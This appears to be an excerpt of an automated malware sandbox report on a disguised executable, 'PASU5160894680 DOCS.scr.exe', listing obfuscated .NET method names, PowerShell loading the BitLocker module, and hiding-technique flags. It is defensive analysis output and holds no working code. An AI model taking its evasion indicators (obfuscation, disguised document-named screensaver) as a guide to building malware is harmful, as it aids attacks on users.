Source: 0.2.PASU5160894680 DOCS.scr.exe.46845e0.2.raw.unpack, khrQWT9aJS2Tbn07Yp.cs	High entropy of concatenated method names: 'Hc4MNWXhMt', 'F7pMZrMjdI', 'hmGMGaubUA', 'ASkMmFUuXH', 'dKxMFIuUq0', 'foXMWXGdsQ', 'xl9M4ocgS3', 'f0oMJ7Ehxx', 'UG6MHxTKX4', 'QWqMgpdwQM'
Source: 0.2.PASU5160894680 DOCS.scr.exe.45fcfc0.1.raw.unpack, W9j0hNrclYvl2EJnE9.cs	High entropy of concatenated method names: 'yNWQXpn2HA', 'rYcQkd2MHP', 'WZDQRNElat', 'RX4QMg4Iec', 'iKJQEBJo7Z', 'l8pRSyE3Xm', 'SUHROQB3bn', 'q8gRLogBQ8', 'ArfRDFCQ5s', 'lEYRCavPMm'
Source: 0.2.PASU5160894680 DOCS.scr.exe.45fcfc0.1.raw.unpack, SYHGI3689qTBw0EhYk.cs	High entropy of concatenated method names: 'xdDMULrtJp', 'YsvMxLc2hn', 'zJcMQJhynI', 'cYjQ1kXWjM', 'jH8Qz2dgaC', 'HpmMjT5IDI', 'wmtMqkPaB7', 'mSTM75JnmB', 'IimMBDnpLg', 'IN4MoAVdm0'
Source: 0.2.PASU5160894680 DOCS.scr.exe.45fcfc0.1.raw.unpack, A4XqRQkhHlmMIqCpGN.cs	High entropy of concatenated method names: 'Dispose', 'TkjqClJ9fs', 'Y8t721yEXm', 'lhOOOH8CPj', 'xEHq1daUMJ', 'tI8qzx7IGJ', 'ProcessDialogKey', 'o8K7jn9Iv4', 'aca7qfXK1h', 'pjl77IIvMC'
Source: 0.2.PASU5160894680 DOCS.scr.exe.45fcfc0.1.raw.unpack, VtvmtCHuFwanI5JuSv.cs	High entropy of concatenated method names: 'X0hxm1JKlb', 'uiaxWZ9ogQ', 'xiaxJnKWmP', 'oDqxHxmnIw', 'frFxIvRaUW', 'IA4xTOXCkw', 'zHsxffOub3', 'agxxa4kREp', 'mxoxP59bGj', 'vGtxYRlX1l'
Source: 0.2.PASU5160894680 DOCS.scr.exe.45fcfc0.1.raw.unpack, n5o3CtEHtQcW8gVMs0.cs	High entropy of concatenated method names: 'vSABXPmQCb', 'VbSBUrnyhM', 'tZdBkuZeEH', 'XGGBxMM45q', 'uBUBReMEIv', 'rDZBQYkDia', 'CRcBMdsmCM', 'MJtBEBguXE', 'JcLBKsOoQ7', 'LG2B8QbPWY'
Source: 0.2.PASU5160894680 DOCS.scr.exe.45fcfc0.1.raw.unpack, SZCI26qjQxOuNujNBtL.cs	High entropy of concatenated method names: 'CE9PN9hs5i', 'O9ePZAHSZr', 'u0GPGKBUwq', 'KttPmsDsSD', 'kZePFgGp1k', 'IX4PW9Qbrq', 'NtsP4YuOy4', 'FXTPJ5rBkJ', 'o27PHwFJks', 'hDpPgNvC1V'
Source: 0.2.PASU5160894680 DOCS.scr.exe.45fcfc0.1.raw.unpack, qLenhw5Sm7Lh6igBYm.cs	High entropy of concatenated method names: 'y2T3JSI97E', 'wbQ3HxG7r1', 'M7u3r6NrpR', 'lrb32nYpJg', 'nAp3vOUwUl', 'Mb43y8QY3q', 'pKY36OEsbw', 'elf3bqoJnP', 'EpG3uUbKxA', 'Q3L3leLol4'
Source: 0.2.PASU5160894680 DOCS.scr.exe.45fcfc0.1.raw.unpack, k1AUgJoTmD0W47iTUw.cs	High entropy of concatenated method names: 'RWyqMOPHjj', 'r1DqEReOpD', 'YuFq8wanI5', 'DuSqtvmh58', 'aUWqIZkL9j', 'ThNqTclYvl', 'LNyXUioRW6sWETFDkF', 'ywsYPoZbPWiUfQGxTD', 'EPLqqs4gBY', 'QE5qBwo612'
Source: 0.2.PASU5160894680 DOCS.scr.exe.45fcfc0.1.raw.unpack, bYKcFY7cuY0EWdIDkW.cs	High entropy of concatenated method names: 'GX0GXhYvC', 'nFHmGBROm', 'vfPWJC05N', 'vpR4FYHrf', 'uM0HC7Gny', 'vTPgaTy2T', 'jgbQ8msyxsjnLsRGGu', 'gCITGxwbXTBjgFuLUy', 'B4na3JfpR', 'I63YbYs2K'
Source: 0.2.PASU5160894680 DOCS.scr.exe.45fcfc0.1.raw.unpack, JOPHjjJP1DReOpDY0L.cs	High entropy of concatenated method names: 'i1skc05PDr', 'KK5keWQRlY', 'H1VkhJwtin', 'SoBk0cmIML', 'EEBkS9bqfA', 'rBbkOY4bb4', 'mtokLqk2ZP', 'J8NkDON2oy', 'xvfkC3qT2B', 'xddk1CC4as'
Source: 0.2.PASU5160894680 DOCS.scr.exe.45fcfc0.1.raw.unpack, AAWUNAzsprCkGEZgdJ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'K33P3LWSaY', 'jo4PIxVWVl', 'BPAPTaeoxH', 'sEuPf0fx3L', 'YckPaZGT7V', 'MaDPPS4wZd', 'YjYPYTyIw8'
Source: 0.2.PASU5160894680 DOCS.scr.exe.45fcfc0.1.raw.unpack, oIvMCA10UN5HX1BU7M.cs	High entropy of concatenated method names: 'rcfPqAPZH6', 'ogiPB9W7aQ', 'yYyPocv8Wx', 'CkmPUyy0dq', 'tHaPkLKHM7', 'N7RPRq6jKB', 'vXsPQu1dr3', 'clWaLn1NQc', 'lboaDpHUHU', 'TZcaC5TMH9'
Source: 0.2.PASU5160894680 DOCS.scr.exe.45fcfc0.1.raw.unpack, NryRmlOIi6e1KpF7D5.cs	High entropy of concatenated method names: 'gVvfDN4BbY', 'MSwf1BRXVh', 'CtdajJmiTX', 'i2KaqgCR3u', 'nktflmJhO1', 'yy6fd6p0Eb', 'hZRf5u1loO', 'WsefcM2p1x', 'hqBfeioe0J', 'KmQfh2j1yj'
Source: 0.2.PASU5160894680 DOCS.scr.exe.45fcfc0.1.raw.unpack, kHdaUMDJYI8x7IGJI8.cs	High entropy of concatenated method names: 'IVEaUPTxEK', 'Gsvakfk3TI', 'cD8ax3yebM', 'oA7aR37YLE', 'YxyaQW5qa2', 'eGUaMSOGC8', 'z6kaEMfrT2', 'HAhaKZ3hKr', 'AIda8aAwFQ', 'Gw1atGbASY'
Source: 0.2.PASU5160894680 DOCS.scr.exe.45fcfc0.1.raw.unpack, ln9Iv4CjcafXK1hTjl.cs	High entropy of concatenated method names: 'SJ7arIJkvy', 'h22a2m0x6A', 'uKZaACSX7o', 'WOQavC9qlh', 'zUTacwabwE', 'MCFaykQAqS', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.PASU5160894680 DOCS.scr.exe.45fcfc0.1.raw.unpack, Cv0gD6cuYxRYG4BACB.cs	High entropy of concatenated method names: 'u9jIuLs4S6', 'skDIdA4lUW', 'wYpIcYUqwB', 'sttIe3A5vX', 'vWCI2i28K9', 'G6bIApJmF7', 'MSjIvAom40', 'TNxIy79aIH', 'LMeIpQ7vbA', 'tktI6h2TDM'
Source: 0.2.PASU5160894680 DOCS.scr.exe.45fcfc0.1.raw.unpack, DJgbrHqBZJQYLJgo1mB.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'giJYcNVkSg', 'ijFYeNKJG9', 'AkuYhwY5LH', 'LPpY0cP1LN', 'Y6BYSDBuqe', 'WdlYO0Y6mi', 'dmPYLF2pd3'
Source: 0.2.PASU5160894680 DOCS.scr.exe.45fcfc0.1.raw.unpack, Ah58cHg4t3yBSjUWZk.cs	High entropy of concatenated method names: 'O5nRF41oUs', 'BeNR4nYnk3', 'XLfxAgafyG', 'iU6xvhruBV', 'iO6xyIu6X6', 'oH6xp9PDZi', 'OE3x6497Bn', 'FFTxbecv8j', 'tKNx9MMtog', 'HZIxubkjib'
Source: 0.2.PASU5160894680 DOCS.scr.exe.45fcfc0.1.raw.unpack, khrQWT9aJS2Tbn07Yp.cs	High entropy of concatenated method names: 'Hc4MNWXhMt', 'F7pMZrMjdI', 'hmGMGaubUA', 'ASkMmFUuXH', 'dKxMFIuUq0', 'foXMWXGdsQ', 'xl9M4ocgS3', 'f0oMJ7Ehxx', 'UG6MHxTKX4', 'QWqMgpdwQM'
Source: 0.2.PASU5160894680 DOCS.scr.exe.7cd0000.4.raw.unpack, W9j0hNrclYvl2EJnE9.cs	High entropy of concatenated method names: 'yNWQXpn2HA', 'rYcQkd2MHP', 'WZDQRNElat', 'RX4QMg4Iec', 'iKJQEBJo7Z', 'l8pRSyE3Xm', 'SUHROQB3bn', 'q8gRLogBQ8', 'ArfRDFCQ5s', 'lEYRCavPMm'
Source: 0.2.PASU5160894680 DOCS.scr.exe.7cd0000.4.raw.unpack, SYHGI3689qTBw0EhYk.cs	High entropy of concatenated method names: 'xdDMULrtJp', 'YsvMxLc2hn', 'zJcMQJhynI', 'cYjQ1kXWjM', 'jH8Qz2dgaC', 'HpmMjT5IDI', 'wmtMqkPaB7', 'mSTM75JnmB', 'IimMBDnpLg', 'IN4MoAVdm0'
Source: 0.2.PASU5160894680 DOCS.scr.exe.7cd0000.4.raw.unpack, A4XqRQkhHlmMIqCpGN.cs	High entropy of concatenated method names: 'Dispose', 'TkjqClJ9fs', 'Y8t721yEXm', 'lhOOOH8CPj', 'xEHq1daUMJ', 'tI8qzx7IGJ', 'ProcessDialogKey', 'o8K7jn9Iv4', 'aca7qfXK1h', 'pjl77IIvMC'
Source: 0.2.PASU5160894680 DOCS.scr.exe.7cd0000.4.raw.unpack, VtvmtCHuFwanI5JuSv.cs	High entropy of concatenated method names: 'X0hxm1JKlb', 'uiaxWZ9ogQ', 'xiaxJnKWmP', 'oDqxHxmnIw', 'frFxIvRaUW', 'IA4xTOXCkw', 'zHsxffOub3', 'agxxa4kREp', 'mxoxP59bGj', 'vGtxYRlX1l'
Source: 0.2.PASU5160894680 DOCS.scr.exe.7cd0000.4.raw.unpack, n5o3CtEHtQcW8gVMs0.cs	High entropy of concatenated method names: 'vSABXPmQCb', 'VbSBUrnyhM', 'tZdBkuZeEH', 'XGGBxMM45q', 'uBUBReMEIv', 'rDZBQYkDia', 'CRcBMdsmCM', 'MJtBEBguXE', 'JcLBKsOoQ7', 'LG2B8QbPWY'
Source: 0.2.PASU5160894680 DOCS.scr.exe.7cd0000.4.raw.unpack, SZCI26qjQxOuNujNBtL.cs	High entropy of concatenated method names: 'CE9PN9hs5i', 'O9ePZAHSZr', 'u0GPGKBUwq', 'KttPmsDsSD', 'kZePFgGp1k', 'IX4PW9Qbrq', 'NtsP4YuOy4', 'FXTPJ5rBkJ', 'o27PHwFJks', 'hDpPgNvC1V'
Source: 0.2.PASU5160894680 DOCS.scr.exe.7cd0000.4.raw.unpack, qLenhw5Sm7Lh6igBYm.cs	High entropy of concatenated method names: 'y2T3JSI97E', 'wbQ3HxG7r1', 'M7u3r6NrpR', 'lrb32nYpJg', 'nAp3vOUwUl', 'Mb43y8QY3q', 'pKY36OEsbw', 'elf3bqoJnP', 'EpG3uUbKxA', 'Q3L3leLol4'
Source: 0.2.PASU5160894680 DOCS.scr.exe.7cd0000.4.raw.unpack, k1AUgJoTmD0W47iTUw.cs	High entropy of concatenated method names: 'RWyqMOPHjj', 'r1DqEReOpD', 'YuFq8wanI5', 'DuSqtvmh58', 'aUWqIZkL9j', 'ThNqTclYvl', 'LNyXUioRW6sWETFDkF', 'ywsYPoZbPWiUfQGxTD', 'EPLqqs4gBY', 'QE5qBwo612'
Source: 0.2.PASU5160894680 DOCS.scr.exe.7cd0000.4.raw.unpack, bYKcFY7cuY0EWdIDkW.cs	High entropy of concatenated method names: 'GX0GXhYvC', 'nFHmGBROm', 'vfPWJC05N', 'vpR4FYHrf', 'uM0HC7Gny', 'vTPgaTy2T', 'jgbQ8msyxsjnLsRGGu', 'gCITGxwbXTBjgFuLUy', 'B4na3JfpR', 'I63YbYs2K'
Source: 0.2.PASU5160894680 DOCS.scr.exe.7cd0000.4.raw.unpack, JOPHjjJP1DReOpDY0L.cs	High entropy of concatenated method names: 'i1skc05PDr', 'KK5keWQRlY', 'H1VkhJwtin', 'SoBk0cmIML', 'EEBkS9bqfA', 'rBbkOY4bb4', 'mtokLqk2ZP', 'J8NkDON2oy', 'xvfkC3qT2B', 'xddk1CC4as'
Source: 0.2.PASU5160894680 DOCS.scr.exe.7cd0000.4.raw.unpack, AAWUNAzsprCkGEZgdJ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'K33P3LWSaY', 'jo4PIxVWVl', 'BPAPTaeoxH', 'sEuPf0fx3L', 'YckPaZGT7V', 'MaDPPS4wZd', 'YjYPYTyIw8'
Source: 0.2.PASU5160894680 DOCS.scr.exe.7cd0000.4.raw.unpack, oIvMCA10UN5HX1BU7M.cs	High entropy of concatenated method names: 'rcfPqAPZH6', 'ogiPB9W7aQ', 'yYyPocv8Wx', 'CkmPUyy0dq', 'tHaPkLKHM7', 'N7RPRq6jKB', 'vXsPQu1dr3', 'clWaLn1NQc', 'lboaDpHUHU', 'TZcaC5TMH9'
Source: 0.2.PASU5160894680 DOCS.scr.exe.7cd0000.4.raw.unpack, NryRmlOIi6e1KpF7D5.cs	High entropy of concatenated method names: 'gVvfDN4BbY', 'MSwf1BRXVh', 'CtdajJmiTX', 'i2KaqgCR3u', 'nktflmJhO1', 'yy6fd6p0Eb', 'hZRf5u1loO', 'WsefcM2p1x', 'hqBfeioe0J', 'KmQfh2j1yj'
Source: 0.2.PASU5160894680 DOCS.scr.exe.7cd0000.4.raw.unpack, kHdaUMDJYI8x7IGJI8.cs	High entropy of concatenated method names: 'IVEaUPTxEK', 'Gsvakfk3TI', 'cD8ax3yebM', 'oA7aR37YLE', 'YxyaQW5qa2', 'eGUaMSOGC8', 'z6kaEMfrT2', 'HAhaKZ3hKr', 'AIda8aAwFQ', 'Gw1atGbASY'
Source: 0.2.PASU5160894680 DOCS.scr.exe.7cd0000.4.raw.unpack, ln9Iv4CjcafXK1hTjl.cs	High entropy of concatenated method names: 'SJ7arIJkvy', 'h22a2m0x6A', 'uKZaACSX7o', 'WOQavC9qlh', 'zUTacwabwE', 'MCFaykQAqS', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.PASU5160894680 DOCS.scr.exe.7cd0000.4.raw.unpack, Cv0gD6cuYxRYG4BACB.cs	High entropy of concatenated method names: 'u9jIuLs4S6', 'skDIdA4lUW', 'wYpIcYUqwB', 'sttIe3A5vX', 'vWCI2i28K9', 'G6bIApJmF7', 'MSjIvAom40', 'TNxIy79aIH', 'LMeIpQ7vbA', 'tktI6h2TDM'
Source: 0.2.PASU5160894680 DOCS.scr.exe.7cd0000.4.raw.unpack, DJgbrHqBZJQYLJgo1mB.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'giJYcNVkSg', 'ijFYeNKJG9', 'AkuYhwY5LH', 'LPpY0cP1LN', 'Y6BYSDBuqe', 'WdlYO0Y6mi', 'dmPYLF2pd3'
Source: 0.2.PASU5160894680 DOCS.scr.exe.7cd0000.4.raw.unpack, Ah58cHg4t3yBSjUWZk.cs	High entropy of concatenated method names: 'O5nRF41oUs', 'BeNR4nYnk3', 'XLfxAgafyG', 'iU6xvhruBV', 'iO6xyIu6X6', 'oH6xp9PDZi', 'OE3x6497Bn', 'FFTxbecv8j', 'tKNx9MMtog', 'HZIxubkjib'
Source: 0.2.PASU5160894680 DOCS.scr.exe.7cd0000.4.raw.unpack, khrQWT9aJS2Tbn07Yp.cs	High entropy of concatenated method names: 'Hc4MNWXhMt', 'F7pMZrMjdI', 'hmGMGaubUA', 'ASkMmFUuXH', 'dKxMFIuUq0', 'foXMWXGdsQ', 'xl9M4ocgS3', 'f0oMJ7Ehxx', 'UG6MHxTKX4', 'QWqMgpdwQM'

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
